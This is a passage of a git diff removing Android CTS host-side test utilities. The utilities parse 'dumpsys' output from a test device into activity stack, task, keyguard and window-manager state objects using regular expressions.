- private final Pattern mStackIdPattern = Pattern.compile("Stack #(\\d+)\\:");
- private final Pattern mResumedActivityPattern =
- Pattern.compile("ResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
- private final Pattern mFocusedStackPattern =
- Pattern.compile("mFocusedStack=ActivityStack\\{(.+) stackId=(\\d+), (.+)\\}(.+)");
-
- private final Pattern[] mExtractStackExitPatterns =
- { mStackIdPattern, mResumedActivityPattern, mFocusedStackPattern, mDisplayIdPattern };
-
- // Stacks in z-order with the top most at the front of the list, starting with primary display.
- private final List<ActivityStack> mStacks = new ArrayList();
- // Stacks on all attached displays, in z-order with the top most at the front of the list.
- private final Map<Integer, List<ActivityStack>> mDisplayStacks = new HashMap<>();
- private KeyguardControllerState mKeyguardControllerState;
- private int mFocusedStackId = -1;
- private String mResumedActivityRecord = null;
- private final List<String> mResumedActivities = new ArrayList();
- private final LinkedList<String> mSysDump = new LinkedList();
-
- void computeState(ITestDevice device) throws DeviceNotAvailableException {
- computeState(device, DUMP_MODE_ACTIVITIES);
- }
-
- void computeState(ITestDevice device, int dumpMode) throws DeviceNotAvailableException {
- // It is possible the system is in the middle of transition to the right state when we get
- // the dump. We try a few times to get the information we need before giving up.
- int retriesLeft = 3;
- boolean retry = false;
- String dump = null;
-
- log("==============================");
- log(" ActivityManagerState ");
- log("==============================");
-
- do {
- if (retry) {
- log("***Incomplete AM state. Retrying...");
- // Wait half a second between retries for activity manager to finish transitioning.
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- }
-
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- String dumpsysCmd = "";
- switch (dumpMode) {
- case DUMP_MODE_ACTIVITIES:
- dumpsysCmd = DUMPSYS_ACTIVITY_ACTIVITIES; break;
- }
- device.executeShellCommand(dumpsysCmd, outputReceiver);
- dump = outputReceiver.getOutput();
- parseSysDump(dump);
-
- retry = mStacks.isEmpty() || mFocusedStackId == -1 || (mResumedActivityRecord == null
- || mResumedActivities.isEmpty()) && !mKeyguardControllerState.keyguardShowing;
- } while (retry && retriesLeft-- > 0);
-
- if (retry) {
- log(dump);
- }
-
- if (mStacks.isEmpty()) {
- logE("No stacks found...");
- }
- if (mFocusedStackId == -1) {
- logE("No focused stack found...");
- }
- if (mResumedActivityRecord == null) {
- logE("No focused activity found...");
- }
- if (mResumedActivities.isEmpty()) {
- logE("No resumed activities found...");
- }
- }
-
- private void parseSysDump(String sysDump) {
- reset();
-
- Collections.addAll(mSysDump, sysDump.split("\\n"));
-
- int currentDisplayId = 0;
- while (!mSysDump.isEmpty()) {
- final ActivityStack stack = ActivityStack.create(mSysDump, mStackIdPattern,
- mExtractStackExitPatterns, currentDisplayId);
-
- if (stack != null) {
- mStacks.add(stack);
- mDisplayStacks.get(currentDisplayId).add(stack);
- if (stack.mResumedActivity != null) {
- mResumedActivities.add(stack.mResumedActivity);
- }
- continue;
- }
-
- KeyguardControllerState controller = KeyguardControllerState.create(
- mSysDump, new Pattern[0]);
- if (controller != null) {
- mKeyguardControllerState = controller;
- continue;
- }
-
- final String line = mSysDump.pop().trim();
-
- Matcher matcher = mFocusedStackPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String stackId = matcher.group(2);
- log(stackId);
- mFocusedStackId = Integer.parseInt(stackId);
- continue;
- }
-
- matcher = mResumedActivityPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mResumedActivityRecord = matcher.group(3);
- log(mResumedActivityRecord);
- continue;
- }
-
- matcher = mDisplayIdPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String displayId = matcher.group(1);
- log(displayId);
- currentDisplayId = Integer.parseInt(displayId);
- mDisplayStacks.put(currentDisplayId, new ArrayList<>());
- }
- }
- }
-
- private void reset() {
- mStacks.clear();
- mFocusedStackId = -1;
- mResumedActivityRecord = null;
- mResumedActivities.clear();
- mSysDump.clear();
- mKeyguardControllerState = null;
- }
-
- int getFrontStackId(int displayId) {
- return mDisplayStacks.get(displayId).get(0).mStackId;
- }
-
- int getFocusedStackId() {
- return mFocusedStackId;
- }
-
- String getFocusedActivity() {
- return mResumedActivityRecord;
- }
-
- String getResumedActivity() {
- return mResumedActivities.get(0);
- }
-
- int getResumedActivitiesCount() {
- return mResumedActivities.size();
- }
-
- public KeyguardControllerState getKeyguardControllerState() {
- return mKeyguardControllerState;
- }
-
- boolean containsStack(int stackId) {
- return getStackById(stackId) != null;
- }
-
- ActivityStack getStackById(int stackId) {
- for (ActivityStack stack : mStacks) {
- if (stackId == stack.mStackId) {
- return stack;
- }
- }
- return null;
- }
-
- int getStackPosition(int stackId) {
- for (int i = 0; i < mStacks.size(); i++) {
- if (stackId == mStacks.get(i).mStackId) {
- return i;
- }
- }
- return -1;
- }
-
- List<ActivityStack> getStacks() {
- return new ArrayList(mStacks);
- }
-
- int getStackCount() {
- return mStacks.size();
- }
-
- boolean containsActivity(String activityName) {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(activityName)) {
- return true;
- }
- }
- }
- }
- return false;
- }
-
- boolean isActivityVisible(String activityName) {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(activityName)) {
- return activity.visible;
- }
- }
- }
- }
- return false;
- }
-
- boolean containsStartedActivities() {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (!activity.state.equals(STATE_STOPPED)
- && !activity.state.equals(STATE_DESTROYED)) {
- return true;
- }
- }
- }
- }
- return false;
- }
-
- boolean hasActivityState(String activityName, String activityState) {
- String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(fullName)) {
- return activity.state.equals(activityState);
- }
- }
- }
- }
- return false;
- }
-
- int getActivityProcId(String activityName) {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(activityName)) {
- return activity.procId;
- }
- }
- }
- }
- return -1;
- }
-
- boolean isHomeActivityVisible() {
- final Activity homeActivity = getHomeActivity();
- return homeActivity != null && homeActivity.visible;
- }
-
- boolean isRecentsActivityVisible() {
- final Activity recentsActivity = getRecentsActivity();
- return recentsActivity != null && recentsActivity.visible;
- }
-
- String getHomeActivityName() {
- Activity activity = getHomeActivity();
- if (activity == null) {
- return null;
- }
- return activity.name;
- }
-
- ActivityTask getHomeTask() {
- ActivityStack homeStack = getStackById(HOME_STACK_ID);
- if (homeStack != null) {
- for (ActivityTask task : homeStack.mTasks) {
- if (task.mTaskType == HOME_ACTIVITY_TYPE) {
- return task;
- }
- }
- return null;
- }
- return null;
- }
-
- ActivityTask getRecentsTask() {
- ActivityStack recentsStack = getStackById(RECENTS_STACK_ID);
- if (recentsStack != null) {
- for (ActivityTask task : recentsStack.mTasks) {
- if (task.mTaskType == RECENTS_ACTIVITY_TYPE) {
- return task;
- }
- }
- return null;
- }
- return null;
- }
-
- private Activity getHomeActivity() {
- final ActivityTask homeTask = getHomeTask();
- return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
- }
-
- private Activity getRecentsActivity() {
- final ActivityTask recentsTask = getRecentsTask();
- return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
- : null;
- }
-
- ActivityTask getTaskByActivityName(String activityName) {
- return getTaskByActivityName(activityName, -1);
- }
-
- ActivityTask getTaskByActivityName(String activityName, int stackId) {
- String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
- for (ActivityStack stack : mStacks) {
- if (stackId == -1 || stackId == stack.mStackId) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(fullName)) {
- return task;
- }
- }
- }
- }
- }
- return null;
- }
-
- static class ActivityStack extends ActivityContainer {
-
- private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
- private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
- "mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
- private static final Pattern SLEEPING_PATTERN = Pattern.compile("isSleeping=(\\S+)");
-
- int mDisplayId;
- int mStackId;
- String mResumedActivity;
- Boolean mSleeping; // A Boolean to trigger an NPE if it's not initialized
- ArrayList<ActivityTask> mTasks = new ArrayList();
-
- private ActivityStack() {
- }
-
- static ActivityStack create(LinkedList<String> dump, Pattern stackIdPattern,
- Pattern[] exitPatterns, int displayId) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = stackIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a stack.
- return null;
- }
- // For the stack Id line we just read.
- dump.pop();
-
- final ActivityStack stack = new ActivityStack();
- stack.mDisplayId = displayId;
- log(line);
- final String stackId = matcher.group(1);
- log(stackId);
- stack.mStackId = Integer.parseInt(stackId);
- stack.extract(dump, exitPatterns);
- return stack;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- final List<Pattern> taskExitPatterns = new ArrayList();
- Collections.addAll(taskExitPatterns, exitPatterns);
- taskExitPatterns.add(TASK_ID_PATTERN);
- taskExitPatterns.add(RESUMED_ACTIVITY_PATTERN);
- final Pattern[] taskExitPatternsArray =
- taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
- while (!doneExtracting(dump, exitPatterns)) {
- final ActivityTask task =
- ActivityTask.create(dump, TASK_ID_PATTERN, taskExitPatternsArray);
-
- if (task != null) {
- mTasks.add(task);
- continue;
- }
-
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- Matcher matcher = RESUMED_ACTIVITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mResumedActivity = matcher.group(3);
- log(mResumedActivity);
- continue;
- }
-
- matcher = SLEEPING_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mSleeping = "true".equals(matcher.group(1));
- continue;
- }
- }
- }
-
- /**
- * @return the bottom task in the stack.
- */
- ActivityTask getBottomTask() {
- if (!mTasks.isEmpty()) {
- // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
- // so the indices are inverted
- return mTasks.get(mTasks.size() - 1);
- }
- return null;
- }
-
- /**
- * @return the top task in the stack.
- */
- ActivityTask getTopTask() {
- if (!mTasks.isEmpty()) {
- // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
- // so the indices are inverted
- return mTasks.get(0);
- }
- return null;
- }
-
- List<ActivityTask> getTasks() {
- return new ArrayList(mTasks);
- }
-
- ActivityTask getTask(int taskId) {
- for (ActivityTask task : mTasks) {
- if (taskId == task.mTaskId) {
- return task;
- }
- }
- return null;
- }
- }
-
- static class ActivityTask extends ActivityContainer {
- private static final Pattern TASK_RECORD_PATTERN = Pattern.compile("\\* TaskRecord\\"
- + "{(\\S+) #(\\d+) (\\S+)=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
-
- private static final Pattern LAST_NON_FULLSCREEN_BOUNDS_PATTERN = Pattern.compile(
- "mLastNonFullscreenBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
-
- private static final Pattern ORIG_ACTIVITY_PATTERN = Pattern.compile("origActivity=(\\S+)");
- private static final Pattern REAL_ACTIVITY_PATTERN = Pattern.compile("realActivity=(\\S+)");
-
- private static final Pattern ACTIVITY_NAME_PATTERN = Pattern.compile(
- "\\* Hist #(\\d+)\\: ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}");
-
- private static final Pattern TASK_TYPE_PATTERN = Pattern.compile("autoRemoveRecents=(\\S+) "
- + "isPersistable=(\\S+) numFullscreen=(\\d+) taskType=(\\d+) "
- + "mTaskToReturnTo=(\\d+)");
-
- private static final Pattern RESIZABLE_PATTERN = Pattern.compile(
- ".*mResizeMode=([^\\s]+).*");
-
- int mTaskId;
- int mStackId;
- Rectangle mLastNonFullscreenBounds;
- String mRealActivity;
- String mOrigActivity;
- ArrayList<Activity> mActivities = new ArrayList();
- int mTaskType = -1;
- int mReturnToType = -1;
- private String mResizeMode;
-
- private ActivityTask() {
- }
-
- static ActivityTask create(
- LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = taskIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a task.
- return null;
- }
- // For the task Id line we just read.
- dump.pop();
-
- final ActivityTask task = new ActivityTask();
- log(line);
- final String taskId = matcher.group(1);
- log(taskId);
- task.mTaskId = Integer.parseInt(taskId);
- task.extract(dump, exitPatterns);
- return task;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- final List<Pattern> activityExitPatterns = new ArrayList();
- Collections.addAll(activityExitPatterns, exitPatterns);
- activityExitPatterns.add(ACTIVITY_NAME_PATTERN);
- final Pattern[] activityExitPatternsArray =
- activityExitPatterns.toArray(new Pattern[activityExitPatterns.size()]);
-
- while (!doneExtracting(dump, exitPatterns)) {
- final Activity activity =
- Activity.create(dump, ACTIVITY_NAME_PATTERN, activityExitPatternsArray);
-
- if (activity != null) {
- mActivities.add(activity);
- continue;
- }
-
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- if (extractMinimalSize(line)) {
- continue;
- }
-
- Matcher matcher = TASK_RECORD_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String stackId = matcher.group(6);
- mStackId = Integer.valueOf(stackId);
- log(stackId);
- continue;
- }
-
- matcher = LAST_NON_FULLSCREEN_BOUNDS_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mLastNonFullscreenBounds = extractBounds(matcher);
- }
-
- matcher = REAL_ACTIVITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- if (mRealActivity == null) {
- log(line);
- mRealActivity = matcher.group(1);
- log(mRealActivity);
- }
- continue;
- }
-
- matcher = ORIG_ACTIVITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- if (mOrigActivity == null) {
- log(line);
- mOrigActivity = matcher.group(1);
- log(mOrigActivity);
- }
- continue;
- }
-
- matcher = TASK_TYPE_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mTaskType = Integer.valueOf(matcher.group(4));
- mReturnToType = Integer.valueOf(matcher.group(5));
- continue;
- }
-
- matcher = RESIZABLE_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mResizeMode = matcher.group(1);
- log(mResizeMode);
- continue;
- }
- }
- }
-
- public String getResizeMode() {
- return mResizeMode;
- }
-
- /**
- * @return whether this task contains the given activity.
- */
- public boolean containsActivity(String activityName) {
- for (Activity activity : mActivities) {
- if (activity.name.equals(activityName)) {
- return true;
- }
- }
- return false;
- }
- }
-
- static class Activity {
- private static final Pattern STATE_PATTERN = Pattern.compile("state=(\\S+).*");
- private static final Pattern VISIBILITY_PATTERN = Pattern.compile("keysPaused=(\\S+) "
- + "inHistory=(\\S+) visible=(\\S+) sleeping=(\\S+) idle=(\\S+) "
- + "mStartingWindowState=(\\S+)");
- private static final Pattern FRONT_OF_TASK_PATTERN = Pattern.compile("frontOfTask=(\\S+) "
- + "task=TaskRecord\\{(\\S+) #(\\d+) A=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
- private static final Pattern PROCESS_RECORD_PATTERN = Pattern.compile(
- "app=ProcessRecord\\{(\\S+) (\\d+):(\\S+)/(.+)\\}");
-
- String name;
- String state;
- boolean visible;
- boolean frontOfTask;
- int procId = -1;
-
- private Activity() {
- }
-
- static Activity create(
- LinkedList<String> dump, Pattern activityNamePattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = activityNamePattern.matcher(line);
- if (!matcher.matches()) {
- // Not an activity.
- return null;
- }
- // For the activity name line we just read.
- dump.pop();
-
- final Activity activity = new Activity();
- log(line);
- activity.name = matcher.group(4);
- log(activity.name);
- activity.extract(dump, exitPatterns);
- return activity;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- // Break the activity extraction once we hit an empty line
- if (line.isEmpty()) {
- break;
- }
-
- Matcher matcher = VISIBILITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String visibleString = matcher.group(3);
- visible = Boolean.valueOf(visibleString);
- log(visibleString);
- continue;
- }
-
- matcher = STATE_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- state = matcher.group(1);
- log(state);
- continue;
- }
-
- matcher = PROCESS_RECORD_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String procIdString = matcher.group(2);
- procId = Integer.valueOf(procIdString);
- log(procIdString);
- continue;
- }
-
- matcher = FRONT_OF_TASK_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String frontOfTaskString = matcher.group(1);
- frontOfTask = Boolean.valueOf(frontOfTaskString);
- log(frontOfTaskString);
- continue;
- }
- }
- }
- }
-
- static abstract class ActivityContainer {
- protected static final Pattern FULLSCREEN_PATTERN = Pattern.compile("mFullscreen=(\\S+)");
- protected static final Pattern BOUNDS_PATTERN =
- Pattern.compile("mBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
- protected static final Pattern MIN_WIDTH_PATTERN =
- Pattern.compile("mMinWidth=(\\d+)");
- protected static final Pattern MIN_HEIGHT_PATTERN =
- Pattern.compile("mMinHeight=(\\d+)");
-
- protected boolean mFullscreen;
- protected Rectangle mBounds;
- protected int mMinWidth = -1;
- protected int mMinHeight = -1;
-
- boolean extractFullscreen(String line) {
- final Matcher matcher = FULLSCREEN_PATTERN.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- final String fullscreen = matcher.group(1);
- log(fullscreen);
- mFullscreen = Boolean.valueOf(fullscreen);
- return true;
- }
-
- boolean extractBounds(String line) {
- final Matcher matcher = BOUNDS_PATTERN.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- mBounds = extractBounds(matcher);
- return true;
- }
-
- static Rectangle extractBounds(Matcher matcher) {
- final int left = Integer.valueOf(matcher.group(1));
- final int top = Integer.valueOf(matcher.group(2));
- final int right = Integer.valueOf(matcher.group(3));
- final int bottom = Integer.valueOf(matcher.group(4));
- final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
- log(rect.toString());
- return rect;
- }
-
- boolean extractMinimalSize(String line) {
- final Matcher minWidthMatcher = MIN_WIDTH_PATTERN.matcher(line);
- final Matcher minHeightMatcher = MIN_HEIGHT_PATTERN.matcher(line);
-
- if (minWidthMatcher.matches()) {
- log(line);
- mMinWidth = Integer.valueOf(minWidthMatcher.group(1));
- } else if (minHeightMatcher.matches()) {
- log(line);
- mMinHeight = Integer.valueOf(minHeightMatcher.group(1));
- } else {
- return false;
- }
- return true;
- }
-
- Rectangle getBounds() {
- return mBounds;
- }
-
- boolean isFullscreen() {
- return mFullscreen;
- }
-
- int getMinWidth() {
- return mMinWidth;
- }
-
- int getMinHeight() {
- return mMinHeight;
- }
- }
-
- static class KeyguardControllerState {
- private static final Pattern NAME_PATTERN = Pattern.compile("KeyguardController:");
- private static final Pattern SHOWING_PATTERN = Pattern.compile("mKeyguardShowing=(\\S+)");
- private static final Pattern OCCLUDED_PATTERN = Pattern.compile("mOccluded=(\\S+)");
-
- boolean keyguardShowing;
- boolean keyguardOccluded;
-
- private KeyguardControllerState() {
- }
-
- static KeyguardControllerState create(LinkedList<String> dump, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = NAME_PATTERN.matcher(line);
- if (!matcher.matches()) {
- // Not KeyguardController
- return null;
- }
-
- // For the KeyguardController line we just read.
- dump.pop();
-
- final KeyguardControllerState controller = new KeyguardControllerState();
- controller.extract(dump, exitPatterns);
- return controller;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- Matcher matcher = SHOWING_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String showingString = matcher.group(1);
- keyguardShowing = Boolean.valueOf(showingString);
- log(showingString);
- continue;
- }
-
- matcher = OCCLUDED_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String occludedString = matcher.group(1);
- keyguardOccluded = Boolean.valueOf(occludedString);
- log(occludedString);
- continue;
- }
- }
- }
- }
-
- static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
- if (dump.isEmpty()) {
- return true;
- }
- final String line = dump.peek().trim();
-
- for (Pattern pattern : exitPatterns) {
- if (pattern.matcher(line).matches()) {
- return true;
- }
- }
- return false;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
deleted file mode 100644
index 0cdf13e..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
+++ /dev/null
@@ -1,1149 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.awt.*;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class WindowManagerState {
-
- public static final String TRANSIT_ACTIVITY_OPEN = "TRANSIT_ACTIVITY_OPEN";
- public static final String TRANSIT_ACTIVITY_CLOSE = "TRANSIT_ACTIVITY_CLOSE";
- public static final String TRANSIT_TASK_OPEN = "TRANSIT_TASK_OPEN";
- public static final String TRANSIT_TASK_CLOSE = "TRANSIT_TASK_CLOSE";
-
- public static final String TRANSIT_WALLPAPER_OPEN = "TRANSIT_WALLPAPER_OPEN";
- public static final String TRANSIT_WALLPAPER_CLOSE = "TRANSIT_WALLPAPER_CLOSE";
- public static final String TRANSIT_WALLPAPER_INTRA_OPEN = "TRANSIT_WALLPAPER_INTRA_OPEN";
- public static final String TRANSIT_WALLPAPER_INTRA_CLOSE = "TRANSIT_WALLPAPER_INTRA_CLOSE";
-
- public static final String TRANSIT_KEYGUARD_GOING_AWAY = "TRANSIT_KEYGUARD_GOING_AWAY";
- public static final String TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER =
- "TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER";
- public static final String TRANSIT_KEYGUARD_OCCLUDE = "TRANSIT_KEYGUARD_OCCLUDE";
- public static final String TRANSIT_KEYGUARD_UNOCCLUDE = "TRANSIT_KEYGUARD_UNOCCLUDE";
-
- public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
-
- private static final String DUMPSYS_WINDOW = "dumpsys window -a";
-
- private static final Pattern sWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+)\\}\\:");
- private static final Pattern sStartingWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Starting (.+)\\}\\:");
- private static final Pattern sExitingWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+) EXITING\\}\\:");
- private static final Pattern sDebuggerWindowPattern =
- Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger: (.+)\\}\\:");
-
- private static final Pattern sFocusedWindowPattern = Pattern.compile(
- "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) (\\S+)\\}");
- private static final Pattern sAppErrorFocusedWindowPattern = Pattern.compile(
- "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Application Error\\: (\\S+)\\}");
- private static final Pattern sWaitingForDebuggerFocusedWindowPattern = Pattern.compile(
- "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger\\: (\\S+)\\}");
-
- private static final Pattern sFocusedAppPattern =
- Pattern.compile("mFocusedApp=AppWindowToken\\{(.+) token=Token\\{(.+) "
- + "ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)");
- private static final Pattern sStableBoundsPattern = Pattern.compile(
- "mStable=\\((\\d+),(\\d+)\\)-\\((\\d+),(\\d+)\\)");
- private static final Pattern sDefaultPinnedStackBoundsPattern = Pattern.compile(
- "defaultBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
- private static final Pattern sPinnedStackMovementBoundsPattern = Pattern.compile(
- "movementBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
- private static final Pattern sRotationPattern = Pattern.compile(
- "mRotation=(\\d).*");
- private static final Pattern sLastOrientationPattern = Pattern.compile(
- ".*mLastOrientation=(\\d)");
-
- private static final Pattern sLastAppTransitionPattern =
- Pattern.compile("mLastUsedAppTransition=(.+)");
- private static final Pattern sAppTransitionStatePattern =
- Pattern.compile("mAppTransitionState=(.+)");
-
- private static final Pattern sStackIdPattern = Pattern.compile("mStackId=(\\d+)");
-
- private static final Pattern sInputMethodWindowPattern =
- Pattern.compile("mInputMethodWindow=Window\\{([0-9a-fA-F]+) u\\d+ .+\\}.*");
-
- private static final Pattern sDisplayIdPattern =
- Pattern.compile("Display: mDisplayId=(\\d+)");
-
- private static final Pattern sDisplayFrozenPattern =
- Pattern.compile("mDisplayFrozen=([a-z]*) .*");
-
- private static final Pattern sDockedStackMinimizedPattern =
- Pattern.compile("mMinimizedDock=([a-z]*)");
-
- private static final Pattern[] sExtractStackExitPatterns = {
- sStackIdPattern, sWindowPattern, sStartingWindowPattern, sExitingWindowPattern,
- sDebuggerWindowPattern, sFocusedWindowPattern, sAppErrorFocusedWindowPattern,
- sWaitingForDebuggerFocusedWindowPattern,
- sFocusedAppPattern, sLastAppTransitionPattern, sDefaultPinnedStackBoundsPattern,
- sPinnedStackMovementBoundsPattern, sDisplayIdPattern, sDockedStackMinimizedPattern};
-
- // Windows in z-order with the top most at the front of the list.
- private List<WindowState> mWindowStates = new ArrayList();
- // Stacks in z-order with the top most at the front of the list, starting with primary display.
- private final List<WindowStack> mStacks = new ArrayList();
- // Stacks on all attached displays, in z-order with the top most at the front of the list.
- private final Map<Integer, List<WindowStack>> mDisplayStacks
- = new HashMap<>();
- private List<Display> mDisplays = new ArrayList();
- private String mFocusedWindow = null;
- private String mFocusedApp = null;
- private String mLastTransition = null;
- private String mAppTransitionState = null;
- private String mInputMethodWindowAppToken = null;
- private Rectangle mStableBounds = new Rectangle();
- private final Rectangle mDefaultPinnedStackBounds = new Rectangle();
- private final Rectangle mPinnedStackMovementBounds = new Rectangle();
- private final LinkedList<String> mSysDump = new LinkedList();
- private int mRotation;
- private int mLastOrientation;
- private boolean mDisplayFrozen;
- private boolean mIsDockedStackMinimized;
-
- void computeState(ITestDevice device) throws DeviceNotAvailableException {
- // It is possible the system is in the middle of transition to the right state when we get
- // the dump. We try a few times to get the information we need before giving up.
- int retriesLeft = 3;
- boolean retry = false;
- String dump = null;
-
- log("==============================");
- log(" WindowManagerState ");
- log("==============================");
- do {
- if (retry) {
- log("***Incomplete WM state. Retrying...");
- // Wait half a second between retries for window manager to finish transitioning...
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- }
-
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- device.executeShellCommand(DUMPSYS_WINDOW, outputReceiver);
- dump = outputReceiver.getOutput();
- parseSysDump(dump);
-
- retry = mWindowStates.isEmpty() || mFocusedApp == null;
- } while (retry && retriesLeft-- > 0);
-
- if (retry) {
- log(dump);
- }
-
- if (mWindowStates.isEmpty()) {
- logE("No Windows found...");
- }
- if (mFocusedWindow == null) {
- logE("No Focused Window...");
- }
- if (mFocusedApp == null) {
- logE("No Focused App...");
- }
- }
-
- private void parseSysDump(String sysDump) {
- reset();
-
- Collections.addAll(mSysDump, sysDump.split("\\n"));
-
- int currentDisplayId = DEFAULT_DISPLAY_ID;
- while (!mSysDump.isEmpty()) {
- final Display display =
- Display.create(mSysDump, sExtractStackExitPatterns);
- if (display != null) {
- log(display.toString());
- mDisplays.add(display);
- currentDisplayId = display.mDisplayId;
- mDisplayStacks.put(currentDisplayId, new ArrayList<>());
- continue;
- }
-
- final WindowStack stack =
- WindowStack.create(mSysDump, sStackIdPattern, sExtractStackExitPatterns);
-
- if (stack != null) {
- mStacks.add(stack);
- mDisplayStacks.get(currentDisplayId).add(stack);
- continue;
- }
-
-
